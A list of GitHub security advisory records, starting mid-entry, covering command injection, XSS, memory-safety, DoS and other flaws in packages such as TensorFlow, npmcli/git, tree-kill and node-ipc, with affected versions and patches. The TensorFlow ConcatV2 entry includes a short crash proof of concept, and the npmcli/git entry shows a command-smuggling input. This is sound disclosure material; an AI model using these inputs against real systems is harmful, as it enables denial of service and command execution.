Aliases: CVE-2021-32673
Severity: HIGH
CVSS score: 8.8
CWE: CWE-94, CWE-78
Published: 2021-06-08T18:47:06Z

### Impact

`reg-keygen-git-hash-plugin` through 0.10.15 allow remote attackers to execute of arbitrary commands.

### Patches

Upgrade to version 0.10.16 or later.

### For more information

If you have any questions or comments about this advisory:
- Open an issue in [reg-viz/reg-suit](https://github.com/reg-viz/reg-suit)
Vulnerability: GHSA-qj5r-f9mv-rffh
Summary: `CHECK`-fails when building invalid tensor shapes in Tensorflow
Aliases: CVE-2022-23569
Severity: MODERATE
CVSS score: 6.5
CWE: CWE-617
Published: 2022-02-09T23:38:56Z

### Impact 
Multiple operations in TensorFlow can be used to trigger a denial of service via `CHECK`-fails (i.e., assertion failures). This is similar to [TFSA-2021-198](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/security/advisory/tfsa-2021-198.md) (CVE-2021-41197) and has similar fixes.

### Patches
We have patched the reported issues in multiple GitHub commits. It is possible that other similar instances exist in TensorFlow, we will issue fixes as these are discovered.

The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.
  
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
  
### Attribution
This vulnerability has been reported by Faysal Hossain Shezan from University of Virginia.
Vulnerability: GHSA-4jh2-3c85-q67h
Summary: Improper Privilege Management in apache-airflow
Aliases: CVE-2021-45230
Severity: MODERATE
CVSS score: 6.5
CWE: CWE-269
Published: 2022-01-28T21:55:34Z

In Apache Airflow prior to 2.2.0. This CVE applies to a specific case where a User who has "can_create" permissions on DAG Runs can create Dag Runs for dags that they don't have "edit" permissions for.
Vulnerability: GHSA-rm4w-6696-r77p
Summary: nb-connect invalidly assumes the memory layout of std::net::SocketAddr
Aliases: CVE-2021-27376
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-119
Published: 2021-08-25T20:52:14Z

An issue was discovered in the nb-connect crate before 1.0.3 for Rust. It may have invalid memory access for certain versions of the standard library because it relies on a direct cast of std::net::SocketAddrV4 and std::net::SocketAddrV6 data structures.
Vulnerability: GHSA-8q2v-67v7-6vc6
Summary: Data races in rocket
Aliases: CVE-2020-35882
Severity: HIGH
CVSS score: 8.1
CWE: CWE-362
Published: 2021-08-25T20:48:07Z

An issue was discovered in the rocket crate before 0.4.5 for Rust. LocalRequest::clone creates more than one mutable references to the same object, possibly causing a data race.
Vulnerability: GHSA-9783-42pm-x5jq
Summary: Use of Uninitialized Resource in csv-sniffer.
Aliases: CVE-2021-45686
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-908
Published: 2022-01-06T22:13:58Z

An issue was discovered in the csv-sniffer crate through 2021-01-05 for Rust. preamble_skipcount may read from uninitialized memory locations.
Vulnerability: GHSA-x3v2-fgr6-3wmm
Summary: Double free in fil-ocl
Aliases: CVE-2021-25908
Severity: HIGH
CVSS score: 7.5
CWE: CWE-415
Published: 2021-08-25T20:53:03Z

An issue was discovered in the fil-ocl crate through 2021-01-04 for Rust. From<EventList> can lead to a double free.
Vulnerability: GHSA-fxmx-pfm2-85m2
Summary: Cross-site Scripting in Ericsson CodeChecker
Aliases: CVE-2021-44217
Severity: MODERATE
CVSS score: 0
CWE: CWE-79
Published: 2022-01-21T23:32:32Z

In Ericsson CodeChecker prior to 6.18.2, a Stored Cross-site scripting (XSS) vulnerability in the comments component of the reports viewer allows remote attackers to inject arbitrary web script or HTML via the POST JSON data of the /CodeCheckerService API.
Vulnerability: GHSA-wh69-wc6q-7888
Summary: Command injection in node-dns-sync
Aliases: CVE-2020-11079
Severity: HIGH
CVSS score: 8.6
CWE: CWE-94, CWE-77
Published: 2020-05-28T18:42:59Z

dns-sync through 0.2.0 allows execution of arbitrary commands . This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.
Vulnerability: GHSA-m4hf-j54p-p353
Summary: Type confusion leading to segfault in Tensorflow
Aliases: CVE-2022-21731
Severity: MODERATE
CVSS score: 6.5
CWE: CWE-754, CWE-843
Published: 2022-02-10T00:19:50Z

### Impact 
The [implementation of shape inference for `ConcatV2`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/framework/common_shape_fns.cc#L1961-L2059) can be used to trigger a denial of service attack via a segfault caused by a type confusion:

```python
import tensorflow as tf

@tf.function
def test():
  y = tf.raw_ops.ConcatV2(
    values=[[1,2,3],[4,5,6]],
    axis = 0xb500005b)
  return y

test()
```

The `axis` argument is translated into `concat_dim` in the `ConcatShapeHelper` helper function. Then, a value for `min_rank` is computed based on `concat_dim`. This is then used to validate that the `values` tensor has at least the required rank:

```cc
  int64_t concat_dim;
  if (concat_dim_t->dtype() == DT_INT32) {
    concat_dim = static_cast<int64_t>(concat_dim_t->flat<int32>()(0));
  } else {
    concat_dim = concat_dim_t->flat<int64_t>()(0);
  }

  // Minimum required number of dimensions.
  const int min_rank = concat_dim < 0 ? -concat_dim : concat_dim + 1;

  // ...
  ShapeHandle input = c->input(end_value_index - 1);
  TF_RETURN_IF_ERROR(c->WithRankAtLeast(input, min_rank, &input));
```

However, [`WithRankAtLeast`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/framework/shape_inference.cc#L345-L358) receives the lower bound as a 64-bits value and then compares it against the maximum 32-bits integer value that could be represented:

```cc
Status InferenceContext::WithRankAtLeast(ShapeHandle shape, int64_t rank,
                                         ShapeHandle* out) {
  if (rank > kint32max) {
    return errors::InvalidArgument("Rank cannot exceed kint32max");
  }
  // ...
}
```

Due to the fact that `min_rank` is a 32-bits value and the value of `axis`, the `rank` argument is a [negative value](https://godbolt.org/z/Gcr5haMob), so the error check is bypassed.

### Patches
We have patched the issue in GitHub commit [08d7b00c0a5a20926363849f611729f53f3ec022](https://github.com/tensorflow/tensorflow/commit/08d7b00c0a5a20926363849f611729f53f3ec022).

The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability has been reported by Yu Tian of Qihoo 360 AIVul Team.
Vulnerability: GHSA-884p-74jh-xrg2
Summary: Command Injection in tree-kill
Severity: HIGH
CVSS score: 0
CWE: CWE-77
Published: 2020-09-04T16:57:20Z

Versions of `tree-kill` prior to 1.2.2 are vulnerable to Command Injection. The package fails to sanitize values passed to the  `kill` function. If this value is user-controlled it  may allow attackers to run arbitrary commands in the server. The issue only affects Windows systems.


## Recommendation

Upgrade to version 1.2.2 or later.
Vulnerability: GHSA-8h8p-x289-vvqr
Summary: Gitea displaying raw OpenID error in UI
Aliases: CVE-2021-45325
Severity: MODERATE
CVSS score: 5.3
CWE: CWE-918
Published: 2022-02-09T00:00:29Z

Gitea is a project to help users set up a self-hosted Git service. Server Side Request Forgery (SSRF) vulnerability exists in Gitea before 1.7.0 using the OpenID URL. Gitea can leak sensitive information about the local network through the error provided by the UI.
Vulnerability: GHSA-97m3-w2cp-4xx6
Summary: Embedded Malicious Code in node-ipc
Aliases: CVE-2022-23812
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-94, CWE-506
Published: 2022-03-16T23:54:32Z

The package node-ipc versions 10.1.1 and 10.1.2 are vulnerable to embedded malicious code that was introduced by the maintainer. The malicious code was intended to overwrite arbitrary files dependent upon the geo-location of the user IP address. The maintainer removed the malicious code in version 10.1.3.
Vulnerability: GHSA-r9q4-w3fm-wrm2
Summary: Cross-Site Scripting in google-closure-library
Severity: MODERATE
CVSS score: 0
CWE: CWE-79
Published: 2020-09-02T21:21:43Z

Versions of `google-closure-library` prior to 20190301.0.0 are vulnerable to Cross-Site Scripting. The `safedomtreeprocessor.processToString()` function improperly processed empty elements, which could allow attackers to execute arbitrary JavaScript through Mutation Cross-Site Scripting.


## Recommendation

Upgrade to version 20190301.0.0 or later.
Vulnerability: GHSA-jf9v-q8vh-3fmc
Summary: Cross-site scripting in ICEcoder
Aliases: CVE-2021-32106
Severity: MODERATE
CVSS score: 5.4
CWE: CWE-79
Published: 2021-09-09T17:11:11Z

In ICEcoder 8.0 allows, a reflected XSS vulnerability was identified in the multipe-results.php page due to insufficient sanitization of the _GET['replace'] variable. As a result, arbitrary Javascript code can get executed.
Vulnerability: GHSA-2wqp-jmcc-mc77
Summary: Regular expression denial of service (ReDoS) in EmailField component in Vaadin 14 and 15-17
Aliases: CVE-2021-31405
Severity: HIGH
CVSS score: 7.5
CWE: CWE-400
Published: 2021-04-19T14:47:34Z

Unsafe validation RegEx in `EmailField` component in `com.vaadin:vaadin-text-field-flow` versions 2.0.4 through 2.3.2 (Vaadin 14.0.6 through 14.4.3), and 3.0.0 through 4.0.2 (Vaadin 15.0.0 through 17.0.10) allows attackers to cause uncontrolled resource consumption by submitting malicious email addresses.

- https://vaadin.com/security/cve-2021-31405
Vulnerability: GHSA-p8q8-jfcv-g2h2
Summary: Directory Traversal in Archive_Tar
Aliases: CVE-2021-32610
Severity: HIGH
CVSS score: 7.1
CWE: CWE-59
Published: 2021-08-09T20:40:06Z

In Archive_Tar before 1.4.14, symlinks can refer to targets outside of the extracted archive, a different vulnerability than CVE-2020-36193.
Vulnerability: GHSA-hxwm-x553-x359
Summary: Arbitrary Command Injection due to Improper Command Sanitization
Severity: MODERATE
CVSS score: 0
CWE: CWE-78
Published: 2021-08-05T17:07:39Z

### Summary
There exists a command injection vulnerability in `npmcli/git` versions <2.0.8 which may result in arbitrary shell command execution due to improper argument sanitization when `npmcli/git` is used to execute Git commands based on user controlled input. 

The impact of this issue is possible Arbitrary Command Injection when `npmcli/git` is run with untrusted (user controlled) Git command arguments. 

### Impact

Arbitrary Command Injection

### Details

`npmcli/git` prior to release `2.0.8` passed user controlled input as arguments to a shell command without properly sanitizing this input. Passing unsanitized input to a shell can lead to arbitrary command injection. For example passing `git+https://github.com/npm/git; echo hello world` would trigger the shell execution of `echo hello world`.  

This issue was remediated by no longer running `npmcli/git` git commands through an intermediate shell.

### Patches

This issue has been patched in release `2.0.8`

### Acknowledgements

This report was reported to us by @tyage (Ierae Security) through the [GitHub Bug Bounty Program](https://bounty.github.com).
Vulnerability: GHSA-c427-hjc3-wrfw
Summary: Cross-site scripting in Swagger-UI
Aliases: CVE-2019-17495
Severity: HIGH
CVSS score: 9.8
CWE: CWE-79
Published: 2019-10-15T19:27:05Z

A Cascading Style Sheets (CSS) injection vulnerability in Swagger UI before 3.23.11 allows attackers to use the Relative Path Overwrite (RPO) technique to perform CSS-based input field value exfiltration, such as exfiltration of a CSRF token value. In other words, this product intentionally allows the embedding of untrusted JSON data from remote servers, but it was not previously known that <style>@import within the JSON data was a functional attack method.
Vulnerability: GHSA-9q69-g5gc-9fgf
Summary: Cross-Site Request Forgery in Vert.x-Web framework
Aliases: CVE-2020-35217
Severity: HIGH
CVSS score: 8.8
CWE: CWE-352
Published: 2021-04-22T16:16:18Z

Vert.x-Web framework v4.0 milestone 1-4 does not perform a correct CSRF verification. Instead of comparing the CSRF token in the request with the CSRF token in the cookie, it compares the CSRF token in the cookie against a CSRF token that is stored in the session. An attacker does not even need to provide a CSRF token in the request because the framework does not consider it. The cookies are automatically sent by the browser and the verification will always succeed, leading to a successful CSRF attack.
Vulnerability: GHSA-xc67-hjx6-cgg6
Summary: Installation information leak in Eclipse Jetty
Aliases: CVE-2019-10247
Severity: MODERATE
CVSS score: 5.3
CWE: CWE-200, CWE-213
Published: 2019-04-23T16:07:12Z

In Eclipse Jetty version 7.x, 8.x, 9.2.27 and older, 9.3.26 and older, and 9.4.16 and older, the server running on any OS and Jetty version combination will reveal the configured fully qualified directory base resource location on the output of the 404 error for not finding a Context that matches the requested path. The default server behavior on jetty-distribution and jetty-home will include at the end of the Handler tree a DefaultHandler, which is responsible for reporting this 404 error, it presents the various configured contexts as HTML for users to click through to. This produced HTML includes output that contains the configured fully qualified directory base resource location for each context.